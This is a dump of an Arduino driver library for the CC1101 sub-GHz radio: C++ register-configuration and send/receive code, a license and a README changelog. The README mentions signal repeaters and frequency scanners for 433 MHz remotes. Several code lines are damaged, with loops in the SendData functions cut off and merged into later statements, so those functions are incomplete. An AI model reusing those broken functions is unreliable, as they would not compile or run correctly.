ELECHOUSE_CC1101::Split_MDMCFG1(void){ int calc = SpiReadStatus(19); m1FEC = 0; m1PRE = 0; m1CHSP = 0; int s2 = 0; for (bool i = 0; i==0;){ if (calc >= 128){calc-=128; m1FEC+=128;} else if (calc >= 16){calc-=16; m1PRE+=16;} else {m1CHSP = calc; i=1;} } } /**************************************************************** *FUNCTION NAME:Split MDMCFG2 *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::Split_MDMCFG2(void){ int calc = SpiReadStatus(18); m2DCOFF = 0; m2MODFM = 0; m2MANCH = 0; m2SYNCM = 0; for (bool i = 0; i==0;){ if (calc >= 128){calc-=128; m2DCOFF+=128;} else if (calc >= 16){calc-=16; m2MODFM+=16;} else if (calc >= 8){calc-=8; m2MANCH+=8;} else{m2SYNCM = calc; i=1;} } } /**************************************************************** *FUNCTION NAME:Split MDMCFG4 *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::Split_MDMCFG4(void){ int calc = SpiReadStatus(16); m4RxBw = 0; m4DaRa = 0; for (bool i = 0; i==0;){ if (calc >= 64){calc-=64; m4RxBw+=64;} else if (calc >= 16){calc -= 16; m4RxBw+=16;} else{m4DaRa = calc; i=1;} } } /**************************************************************** *FUNCTION NAME:RegConfigSettings *FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100// *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::RegConfigSettings(void) { SpiWriteReg(CC1101_FSCTRL1, 0x06); setCCMode(ccmode); setMHZ(MHz); SpiWriteReg(CC1101_MDMCFG1, 0x02); SpiWriteReg(CC1101_MDMCFG0, 0xF8); SpiWriteReg(CC1101_CHANNR, chan); SpiWriteReg(CC1101_DEVIATN, 0x47); SpiWriteReg(CC1101_FREND1, 0x56); SpiWriteReg(CC1101_MCSM0 , 0x18); SpiWriteReg(CC1101_FOCCFG, 0x16); SpiWriteReg(CC1101_BSCFG, 0x1C); SpiWriteReg(CC1101_AGCCTRL2, 0xC7); SpiWriteReg(CC1101_AGCCTRL1, 0x00); SpiWriteReg(CC1101_AGCCTRL0, 0xB2); SpiWriteReg(CC1101_FSCAL3, 0xE9); SpiWriteReg(CC1101_FSCAL2, 0x2A); SpiWriteReg(CC1101_FSCAL1, 0x00); SpiWriteReg(CC1101_FSCAL0, 0x1F); SpiWriteReg(CC1101_FSTEST, 0x59); SpiWriteReg(CC1101_TEST2, 0x81); SpiWriteReg(CC1101_TEST1, 0x35); SpiWriteReg(CC1101_TEST0, 0x09); SpiWriteReg(CC1101_PKTCTRL1, 0x04); SpiWriteReg(CC1101_ADDR, 0x00); SpiWriteReg(CC1101_PKTLEN, 0x00); } /**************************************************************** *FUNCTION NAME:SetTx *FUNCTION :set CC1101 send data *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SetTx(void) { SpiStrobe(CC1101_SIDLE); SpiStrobe(CC1101_STX); //start send trxstate=1; } /**************************************************************** *FUNCTION NAME:SetRx *FUNCTION :set CC1101 to receive state *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SetRx(void) { SpiStrobe(CC1101_SIDLE); SpiStrobe(CC1101_SRX); //start receive trxstate=2; } /**************************************************************** *FUNCTION NAME:SetTx *FUNCTION :set CC1101 send data and change frequency *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SetTx(float mhz) { SpiStrobe(CC1101_SIDLE); setMHZ(mhz); SpiStrobe(CC1101_STX); //start send trxstate=1; } /**************************************************************** *FUNCTION NAME:SetRx *FUNCTION :set CC1101 to receive state and change frequency *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SetRx(float mhz) { SpiStrobe(CC1101_SIDLE); setMHZ(mhz); SpiStrobe(CC1101_SRX); //start receive trxstate=2; } /**************************************************************** *FUNCTION NAME:RSSI Level *FUNCTION :Calculating the RSSI Level *INPUT :none *OUTPUT :none ****************************************************************/ int ELECHOUSE_CC1101::getRssi(void) { int rssi; rssi=SpiReadStatus(CC1101_RSSI); if (rssi >= 128){rssi = (rssi-256)/2-74;} else{rssi = (rssi/2)-74;} return rssi; } /**************************************************************** *FUNCTION NAME:LQI Level *FUNCTION :get Lqi state *INPUT :none *OUTPUT :none ****************************************************************/ byte ELECHOUSE_CC1101::getLqi(void) { byte lqi; lqi=SpiReadStatus(CC1101_LQI); return lqi; } /**************************************************************** *FUNCTION NAME:SetSres *FUNCTION :Reset CC1101 *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setSres(void) { SpiStrobe(CC1101_SRES); trxstate=0; } /**************************************************************** *FUNCTION NAME:setSidle *FUNCTION :set Rx / TX Off *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setSidle(void) { SpiStrobe(CC1101_SIDLE); trxstate=0; } /**************************************************************** *FUNCTION NAME:goSleep *FUNCTION :set cc1101 Sleep on *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::goSleep(void){ trxstate=0; SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit SpiStrobe(0x39);//Enter power down mode when CSn goes high. } /**************************************************************** *FUNCTION NAME:Char direct SendData *FUNCTION :use CC1101 send data *INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SendData(char *txchar) { int len = strlen(txchar); byte chartobyte[len]; for (int i = 0; i sync transmitted while (digitalRead(GDO0)); // Wait for GDO0 to be cleared -> end of packet SpiStrobe(CC1101_SFTX); //flush TXfifo trxstate=1; } /**************************************************************** *FUNCTION NAME:Char direct SendData *FUNCTION :use CC1101 send data without GDO *INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SendData(char *txchar,int t) { int len = strlen(txchar); byte chartobyte[len]; for (int i = 0; i Version: November 12, 2010 This library is designed to use CC1101/CC1100 module on Arduino platform. CC1101/CC1100 module is an useful wireless module.Using the functions of the library, you can easily send and receive data by the CC1101/CC1100 module. Just have fun! For the details, please refer to the datasheet of CC1100/CC1101. ---------------------------------------------------------------------------------------------------------------- cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). ---------------------------------------------------------------------------------------------------------------- */ #ifndef ELECHOUSE_CC1101_SRC_DRV_h #define ELECHOUSE_CC1101_SRC_DRV_h #include //***************************************CC1101 define**************************************************// // CC1101 CONFIG REGSITER #define CC1101_IOCFG2 0x00 // GDO2 output pin configuration #define CC1101_IOCFG1 0x01 // GDO1 output pin configuration #define CC1101_IOCFG0 0x02 // GDO0 output pin configuration #define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds #define CC1101_SYNC1 0x04 // Sync word, high INT8U #define CC1101_SYNC0 0x05 // Sync word, low INT8U #define CC1101_PKTLEN 0x06 // Packet length #define CC1101_PKTCTRL1 0x07 // Packet automation control #define CC1101_PKTCTRL0 0x08 // Packet automation control #define CC1101_ADDR 0x09 // Device address #define CC1101_CHANNR 0x0A // Channel number #define CC1101_FSCTRL1 0x0B // Frequency synthesizer control #define CC1101_FSCTRL0 0x0C // Frequency synthesizer control #define CC1101_FREQ2 0x0D // Frequency control word, high INT8U #define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U #define CC1101_FREQ0 0x0F // Frequency control word, low INT8U #define CC1101_MDMCFG4 0x10 // Modem configuration #define CC1101_MDMCFG3 0x11 // Modem configuration #define CC1101_MDMCFG2 0x12 // Modem configuration #define CC1101_MDMCFG1 0x13 // Modem configuration #define CC1101_MDMCFG0 0x14 // Modem configuration #define CC1101_DEVIATN 0x15 // Modem deviation setting #define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration #define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration #define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration #define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration #define CC1101_BSCFG 0x1A // Bit Synchronization configuration #define CC1101_AGCCTRL2 0x1B // AGC control #define CC1101_AGCCTRL1 0x1C // AGC control #define CC1101_AGCCTRL0 0x1D // AGC control #define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout #define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout #define CC1101_WORCTRL 0x20 // Wake On Radio control #define CC1101_FREND1 0x21 // Front end RX configuration #define CC1101_FREND0 0x22 // Front end TX configuration #define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration #define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration #define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration #define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration #define CC1101_RCCTRL1 0x27 // RC oscillator configuration #define CC1101_RCCTRL0 0x28 // RC oscillator configuration #define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control #define CC1101_PTEST 0x2A // Production test #define CC1101_AGCTEST 0x2B // AGC test #define CC1101_TEST2 0x2C // Various test settings #define CC1101_TEST1 0x2D // Various test settings #define CC1101_TEST0 0x2E // Various test settings //CC1101 Strobe commands #define CC1101_SRES 0x30 // Reset chip. #define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). // If in RX/TX: Go to a wait state where only the synthesizer is // running (for quick RX / TX turnaround). #define CC1101_SXOFF 0x32 // Turn off crystal oscillator. #define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off // (enables quick start). #define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and // MCSM0.FS_AUTOCAL=1. #define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled: // Only go to TX if channel is clear. #define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit // Wake-On-Radio mode if applicable. #define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer #define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) #define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high. #define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. #define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. #define CC1101_SWORRST 0x3C // Reset real time clock. #define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two // INT8Us for simpler software. //CC1101 STATUS REGSITER #define CC1101_PARTNUM 0x30 #define CC1101_VERSION 0x31 #define CC1101_FREQEST 0x32 #define CC1101_LQI 0x33 #define CC1101_RSSI 0x34 #define CC1101_MARCSTATE 0x35 #define CC1101_WORTIME1 0x36 #define CC1101_WORTIME0 0x37 #define CC1101_PKTSTATUS 0x38 #define CC1101_VCO_VC_DAC 0x39 #define CC1101_TXBYTES 0x3A #define CC1101_RXBYTES 0x3B //CC1101 PATABLE,TXFIFO,RXFIFO #define CC1101_PATABLE 0x3E #define CC1101_TXFIFO 0x3F #define CC1101_RXFIFO 0x3F //************************************* class **************************************************// class ELECHOUSE_CC1101 { private: void SpiStart(void); void SpiEnd(void); void GDO_Set (void); void GDO0_Set (void); void Reset (void); void setSpi(void); void RegConfigSettings(void); void Calibrate(void); void Split_PKTCTRL0(void); void Split_PKTCTRL1(void); void Split_MDMCFG1(void); void Split_MDMCFG2(void); void Split_MDMCFG4(void); public: void Init(void); byte SpiReadStatus(byte addr); void setSpiPin(byte sck, byte miso, byte mosi, byte ss); void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul); void setGDO(byte gdo0, byte gdo2); void setGDO0(byte gdo0); void addGDO(byte gdo0, byte gdo2, byte modul); void addGDO0(byte gdo0, byte modul); void setModul(byte modul); void setCCMode(bool s); void setModulation(byte m); void setPA(int p); void setMHZ(float mhz); void setChannel(byte chnl); void setChsp(float f); void setRxBW(float f); void setDRate(float d); void setDeviation(float d); void SetTx(void); void SetRx(void); void SetTx(float mhz); void SetRx(float mhz); int getRssi(void); byte getLqi(void); void setSres(void); void setSidle(void); void goSleep(void); void SendData(byte *txBuffer, byte size); void SendData(char *txchar); void SendData(byte *txBuffer, byte size, int t); void SendData(char *txchar, int t); byte CheckReceiveFlag(void); byte ReceiveData(byte *rxBuffer); bool CheckCRC(void); void SpiStrobe(byte strobe); void SpiWriteReg(byte addr, byte value); void SpiWriteBurstReg(byte addr, byte *buffer, byte num); byte SpiReadReg(byte addr); void SpiReadBurstReg(byte addr, byte *buffer, byte num); void setClb(byte b, byte s, byte e); bool getCC1101(void); byte getMode(void); void setSyncWord(byte sh, byte sl); void setAddr(byte v); void setWhiteData(bool v); void setPktFormat(byte v); void setCrc(bool v); void setLengthConfig(byte v); void setPacketLength(byte v); void setDcFilterOff(bool v); void setManchester(bool v); void setSyncMode(byte v); void setFEC(bool v); void setPRE(byte v); void setPQT(byte v); void setCRC_AF(bool v); void setAppendStatus(bool v); void setAdrChk(byte v); bool CheckRxFifo(int t); }; extern ELECHOUSE_CC1101 ELECHOUSE_cc1101; #endif ================================================ FILE: Bibliotecas/SmartRC-CC1101-Driver-Lib-master/LICENSE.txt ================================================ ---------------------------------------------------------------------------------------------------------------- cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). ---------------------------------------------------------------------------------------------------------------- ELECHOUSE_CC1101.cpp - CC1101 module library Copyright (c) 2010 Michael. Author: Michael, Version: November 12, 2010 This library is designed to use CC1101/CC1100 module on Arduino platform. CC1101/CC1100 module is an useful wireless module.Using the functions of the library, you can easily send and receive data by the CC1101/CC1100 module. Just have fun! For the details, please refer to the datasheet of CC1100/CC1101. notes: The whole stuff that is not directly related to Rc_Switch, NewRemoteSwitch or Elechouse_cc1101 Lib is Copyright (c) 2018 - 2020 by Little Satan. Example calculator codes in the driver lib. And so on... You can freely use, edit or distribute it with reference to the source. For everything else, the rights of the respective owners apply! ================================================ FILE: Bibliotecas/SmartRC-CC1101-Driver-Lib-master/README.md ================================================ # SmartRC-CC1101-Driver-Lib_V2.5.7 ![GitHub (Pre-)Release Date](https://img.shields.io/github/release-date-pre/LSatan/SmartRC-CC1101-Driver-Lib) Note: Find out about the laws in your country. Use at your own risk. Attention! in version 2.5.7 there are changes for the internal transfer functions regarding the gdo pin assignment! --------------------------------------------- Announcements / other --------------------------------------------- attention: currently i can only answer questions very belatedly. try to scour existing problems for a solution if possible. Problems that have not yet been closed are mostly already solved! thanks for your understanding For debug and advanced functions: https://github.com/LSatan/CC1101-Debug-Service-Tool new library Simu_Remote: https://github.com/LSatan/Simu_Remote_CC1101 --------------------------------------------- Install: --------------------------------------------- Can be downloaded directly from the Arduino library manager. Just search for cc1101. --------------------------------------------- Foreword: --------------------------------------------- First of all, thanks to Elechouse that I can make the modified library accessible to everyone. Link: http://www.elechouse.com/elechouse/ The library has been redesigned and some improvements have been made. Among other things, you can now also use the internal send / receive function. I would be happy to receive your suggestions for further examples from other libraries. All examples included are listed in the next field. --------------------------------------------- Containing examples: --------------------------------------------- 1.Elechouse CC1101: - Description: CC1101 Internal send / receive examples. Supported modulations 2-FSK, GFSK, ASK/OOK, 4-FSK, MSK. 2.Rc-Switch: -

Description: Arduino lib to operate 433/315Mhz devices like power outlet sockets.

Link: https://github.com/sui77/rc-switch

3.NewRemoteswitch: -

Description: This library provides an easy class for Arduino, to send and receive signals used by some common "new style" 433MHz remote control switches.

Link: https://github.com/1technophile/NewRemoteSwitch

4.RemoteSensor library: -

Description: This library provides an easy class for Arduino, to send and receive signals used by some common weather stations using -remote 433MHz sensors.

Link: https://github.com/mattwire/arduino-dev/tree/master/libraries/RemoteSensor

5.ESPiLight: -

Description:This Arduino library is a port of the pilight 433.92MHz protocols to the Arduino platform. It was tested with a ESP8266. The aim is to transmit, receive and parse many 433.92MHz protocols, by providing a simple Arduino friendly API. This should help to implement IoT bridges between the 434MHz-RF band and internet protocols.

Link:https://github.com/puuu/ESPiLight

--------------------------------------------- Instructions / Description: --------------------------------------------- This driver library can be used for many libraries that use a simple RF ASK module, with the advantages of the cc1101 module.It offers many direct setting options as in SmartRF Studio and calculates settings such as MHz directly. The most important functions at a glance: ELECHOUSE_cc1101.Init(); //Initialize the cc1101. Must be set first! ELECHOUSE_cc1101.setPA(PA); //Set transmission power. ELECHOUSE_cc1101.setMHZ(MHZ); //Set the basic frequency. ELECHOUSE_cc1101.SetTx(); //Set transmit on. ELECHOUSE_cc1101.SetTx(MHZ); //Sets transmit on and changes the frequency. ELECHOUSE_cc1101.SetRX(); //Set receive on. ELECHOUSE_cc1101.SetRx(MHZ); //Sets receive on and changes the frequency. ELECHOUSE_cc1101.setRxBW(RXBW); //Set Receive filter bandwidth ELECHOUSE_cc1101.setGDO(GDO0, GDO2); //Set Gdo0 (tx) and Gdo2 (rx) for serial transmission function. ELECHOUSE_cc1101.setSpiPin(SCK, MISO, MOSI, CSN); //custom SPI pins. Set your own Spi Pins.Or to switch between multiple cc1101. Must be set before init and before changing the cc1101. ELECHOUSE_cc1101.setChannel(chnl); //Set Channel from 0 to 255. default = 0(basic frequency). ELECHOUSE_cc1101.setClb(fband, cal1, cal2); //Optionally enter Offset Callibration. Requirements: Sketch Calibrate_frequency.ino below [CC1101-Debug-Service-Tool](https://github.com/LSatan/CC1101-Debug-Service-Tool/tree/master/Calibrate_frequency).A SDR receiver and SDR software. New in V2.5.7 ELECHOUSE_cc1101.setGDO0(GDO0); //Sets Gdo0 for internal transfer function. ELECHOUSE_cc1101.addGDO0(GDO0, Modul); //Adds Gdo0 for internal transfer function (multiple cc1101). ELECHOUSE_cc1101.addGDO(GDO0, GDO2, Modul); //Adds Gdo0 (tx) and Gdo2 (rx) for serial transmission function (multiple cc1101). ELECHOUSE_cc1101.addSpiPin(SCK, MISO, MOSI, CSN, Modul); //Adds Spi Pins for multiple cc1101. ELECHOUSE_cc1101.setModul(Modul); //Switches between modules. from 0 to 5. So a maximum of 6. The new features are not final and can be changed at any time. All can also be used in a loop and are applied directly. --------------------------------------------- Wiring: --------------------------------------------- Notes: A logic level converter is recommended for arduino. It also works well without. Use at your own risk. --------------------------------------------- Donation --------------------------------------------- If you like the library, I would be happy about a star. you can support me with a donation. https://www.paypal.me/LittleSatan666 Thank You! --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.5.7 --------------------------------------------- 13.07.2021 Driver Library :Fixed a bug when initalizing multiple cc1101 Driver Library :new commandos for easy handling of multiple cc1101 --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.5.6 --------------------------------------------- 06.04.2021 Driver Library :Add NUM_PREAMBLE. Sets the minimum number of preamble bytes to be transmitted. --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.5.5 --------------------------------------------- 23.01.2021 Driver Library :Error correction for CheckRxFifo and CheckReceiveFlag (reception internal CC1101 function). --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.5.4 --------------------------------------------- 23.01.2021 Driver Library :No big frequency jumps over SetRx(freq); Possible. Fixed! Big thanks to NorthernMan54 for testing! Driver Library :double-initaliesing option from V2.5.3 has been removed. Necessary for SetRx(freq); to use. --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.5.3 --------------------------------------------- 22.01.2021 Driver Library :Putting rx tx has no effect if they are already in mode. Prevents unnecessary double-initaliesing. Driver Library :new command added: ELECHOUSE_cc1101.goSleep(); //Enter power down mode. For wakeup set RX or TX. Driver Library :new command added: ELECHOUSE_cc1101.getMode(); //Return the Mode. Sidle = 0, TX = 1, Rx = 2. Driver Library :new command added: ELECHOUSE_cc1101.setSidle(); //Set Rx / Tx Off. Driver Library :new command added: ELECHOUSE_cc1101.getCC1101(); //Test Spi connection and return 1 when true. Examples :RcSwitch Repeater_cc1101.ino has been shortened. --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.5.2 --------------------------------------------- 01.10.2020 Driver Library :SpiWriteReg, SpiReadReg, SpiWriteBurstReg and SpiReadBurstReg change to public. Allows additional modifications from sketch. Driver Library :Setrx no longer has to be set to receive.(internal transmission methods) Driver Library :Gdo pins are now set to input / output with set gdo instead of Init. Driver Library :Added new sending method. Allows sending without a gdo0 pin. notes :The new internal send and receive methods now work completely without an additional gdo pin. --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.5.1 --------------------------------------------- 18.08.2020 Driver Library :When changing from receiving to sending, the program freezes (internal send functions). fixed! --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.5.0 --------------------------------------------- 16.08.2020 Driver Library :Rssi was calculated incorrectly.Fixed Thanks to zapquiyou! Driver Library :New receiving method for internal examples added. Allows several actions to be carried out in the loop. Driver Library :Internal Crc check added for internal examples. Driver Library :Simplification to send char added for internal transfer examples. Driver Library :A lot of new settings added for internal transmission examples. Everything can be set as in SmartRF Studio and is calculated automatically. An overview: setDeviation, setChsp, setRxBW, setDRate, setSyncMode, setSyncWord, setAdrChk, setAddr, setWhiteData, setPktFormat, setLengthConfig, setPacketLength, setCrc, setCRC_AF, setDcFilterOff, setManchester, setFEC, setPQT, setAppendStatus. description in the examples! --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.4.0 --------------------------------------------- 07.05.2020 Driver Library :frequency calculator has been simplified. error-free calculations and less variables. Driver Library :Added frequency calibration option. Driver Library :Certain frequencies could not be set. Fixed! Big thanks to gusgorman402! --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.3.5 --------------------------------------------- 14.04.2020 Driver Library :setChsp has been removed to save space. This function is available in the Service / Debug Tool as an extended function. --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.3.4 --------------------------------------------- 01.04.2020 Driver Library :set AGCCTRL2 from 0x07 to 0xC7. Reception is significantly improved! --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.3.3 --------------------------------------------- 01.04.2020 Driver Library :set FSCTRL1 from 0x08 to 0x06. for better receive. Driver Library :set SpiWriteReg to public. Make it fit for debug tool! Driver Library :set SpiStrobe to public. Make it fit for debug tool! --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.3.2 --------------------------------------------- 24.03.2020 Driver Library :Set gdo2 from input to output. Errors in libraries that use the pins directly. examples :Set gdo2 from setting 2 to 0 in default examples. Gdo2 is not required for these examples. --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.3.1 --------------------------------------------- 18.03.2020 Driver Library :ESP8266/32 core panik. Fixed! The cc1101 must be initialized before setting options! examples :all examples have been adapted. examples :internal cc1101 examples have been adapted for esp8266/32. examples :ESPiLight examples added. --------------------------------------------- Changelog: SmartRC-CC1101-Driver-Lib_V2.3 --------------------------------------------- 18.03.2020 Driver Library :"RcSwitch-cc1101-driver-lib" becomes "SmartRC-cc1101-driver-lib". Pull request :#20 Removed unnecessary initializations when setting Tx or Rx mode. Agreed / accepted improves speed when changing rx / tx. Special thanks to fleibede. Pull request :#19 Added spi state after SPI pins have been set for default pins. The problem was solved differently. Special thanks to fleibede. Pull request :#18 Updated AVR types conditional defines. Agreed / accepted. Special thanks to fleibede. Driver Library :Frequency calculator certain frequencies were calculated incorrectly. fixed! Driver Library :Intelligent Pa Table system added. When changing the band The corresponding table is set via setTx / Rx and the frequency set to basic calibrated. All module internal transmission powers can now be set according to the band. Driver Library :Newly calibrated base frequency on chan 0 according to the SmartRF Studio. Driver Library :Channel spacing calculator can enter directly the spacing area in khz. Driver Library :Modulation setting added for internal transmission methods Driver Library :ESP32 reception improvements. Driver Library :Direct conversion of the RSSI level in the library. Driver Library :Correction of version numbering. examples :New examples added "RemoteSensor library". examples :New examples added "Elechouse CC1101 default examples" examples :Remote Fusion has been removed and given an extra library. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V2.2.1 --------------------------------------------- [Download Release V2.2.1](https://drive.google.com/file/d/1YHFpp2GQC96-GKcg67Tym9wt1E4CBdFc/view?usp=sharing) 20.01.2019 Driver Library :Spi options have been removed. (Problems with ESP32) FIXED! notes :everything was checked again. D-SUN module on esp8266 / 32 and so on. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V2.2 --------------------------------------------- 17.01.2019 Version notes :Spi was reconfigured for fix some issuses. Driver Library :HotFix for cc1101 module with "8pins"(example DSun). Transmitting on Esp8266 based bords not work. FIXED! Driver Library :Change "SpiReadStatus" to public. Now can read RSSI Level! Driver Library :Spi transfer rate was limited to cc1101 max transfer rate (10mhz). Driver Library :After using Spi, it will now be disabled. (receive data from serial monitor and rx pin was not working on Esp 8266/32) FIXED! Add Examples :ReceiveDemo_Simple_with_RSSI_cc1101.ino (Shows reception strength) Add Examples :Frequency_Scanner_cc1101.ino (Scans Transmitting frequency of your remotes. No good results with cc1101-DSun) Add Examples :ProtocolAnalyzeDemo_cc1101.ino (for scan unknown protokolls. Requires: link is in sketch!) --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V2.1 --------------------------------------------- 3.1.2019 Driver Library :Spi corrections for esp32. Spi Pin changes did not work on esp32. FIXED! --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V2.0 --------------------------------------------- 18.12.2018 Driver Library :Own Spi pin settings possible. Allows the use of other microcontrollers. Allows you to use multiple CC1101s. More information in the commands.txt Add TXT :driver lib commands and examples.txt --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.9.3 --------------------------------------------- 27.11.2018 Driver Library :setESP8266 has been removed. Pins are set automatically with the init command. Driver Library :Arduino mega SPI pins added. Driver Library :Added setGDO pins (For libraries that directly address the GDO pins).Like this https://github.com/EinfachArne/Somfy_Remote . Example ELECHOUSE_CC1101.setGDO(2, 4); // (pin2 = GDO0, pin4 = GDO2). Add Wiring TXT :WIRING MEGA.txt Add Wiring JPG :WIRING MEGA.jpg LICENSE :LICENSE.txt Update. notes :setGDO is not compatible with RC_Switch / NewRemotSwitch. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.9.2 --------------------------------------------- 16.11.2018 Fixes Remotes Fusion :Receive mode and Repeater mode frequency, changes to the transmitter frequency after pressing on a transmitter. (RemotesFusion.ino)Fixed! NewRemoteSwitch :LearnCode_cc1101.ino (corrections). Added :Keywords.txt added. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.9.1 --------------------------------------------- 07.11.2018 New Sketch :Clear_EEPROM.ino (if there are problems with the access point password or if you want to use your ESP for other projects). --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.9 --------------------------------------------- 18.10.2018 New Sketch :RemotesFusion.ino. New Apk´s :RemotesFusion_V1_en.apk / RemotesFusion_V1_de.apk. Add Docs :Docs and manuals for RemotesFusion. Changes :channel spacing and channel set was removed from the examples. unnecessary because exact frequency can be set. notes :RemotesFusion is an application with which Rc-Switch and NewRemoteSwitch can be controlled at the same time. A universal remote control APP with many possibilities. Only for Esp 8266/32 modules! For more information, watch the docs. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.8 --------------------------------------------- [Download Release V1.8](https://drive.google.com/file/d/1ADKOmW0SrUoomeoDskFrm0J2SdwCLB_O/view?usp=sharing) 02.09.2018 Driver Library :Added pin settings for esp32. Examples :Added pin settings for esp32 examples. Add Wiring JPG :Add Wiring JPG esp32. Add Wiring TXT :Add Wiring TXT esp32. Add Wiring JPG :Add Wiring JPG esp32 for Receive_Send_Decimal_Demo_Simple.ino. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.7.2 --------------------------------------------- [Download Release V1.7.2](https://drive.google.com/file/d/1sfMvQw2JaGARTaYXZevOjB20BFOMS0tw/view?usp=sharing) 16.08.2018 Examples :All NewRemoteSwitch examples are compatible with ESP. Exception Retransmitter_cc1101.ino. Driver Library :Frequency calculator calibrated. Difference -0.01 MHz. (Fixed!) Frequency is now accurate. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.7.1 --------------------------------------------- [Download Release V1.7.1](https://drive.google.com/file/d/1PXa1k0AIDY8bTMxFyyQMbOljijhIn1ke/view?usp=sharing) 10.08.2018 Driver Library :Now you can Switch the frequency in loop. Examples: ELECHOUSE_cc1101.SetTx(433.92); and ELECHOUSE_cc1101.SetRx(433.92);. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.7 --------------------------------------------- [Download Release V1.7](https://drive.google.com/file/d/1uxACfe1ZUrkL4S3_NPVN0DmUfzbxt6oQ/view?usp=sharing) 09.08.2018 Driver Library :Now you can enter your base frequency directly.The library calculates the settings automatically. example(433.92) Driver Library :Remove freq2, freq1 and freq0 Settings. Driver Library :Removed unnecessary entries. the library shrank from 32,8kb(.cpp) and 9,38kb(.h) to 17,0kb(.cpp) and 7,87kb(.h). New Example :(NewRemoteSwitch Library) NewRemoteRepeater.ino. Repeat the Received signal 1to1. Best thanks to Roman for write it. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.6.1 --------------------------------------------- [Download Release V1.6.1](https://drive.google.com/file/d/1q8FV5kDnhAj1SMZf6DS0wDcm5xo4E-5-/view?usp=sharing) 05.08.2018 Examples Fix (rc-switch):Fix auto receive pulse. Received pulse don´t transmit. Fixed!(Repeater.ino and Receive_Send_Decimal_Demo_Simple.ino). --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.6 --------------------------------------------- [Download Release V1.6](https://drive.google.com/file/d/1p_iAxh7ZWlNWhFoqMM_tlLTLdyGK07-a/view?usp=sharing) 03.08.2018 Esp8266 :Compatibility for all RC switch examples. Driver Library :Add the GDO2 pin for Receive. Change GDO0 to send. Wiring changes :Description in jpg's and txt's. Examples :All examples have been adjusted. Examples :Esp and Arduino are set 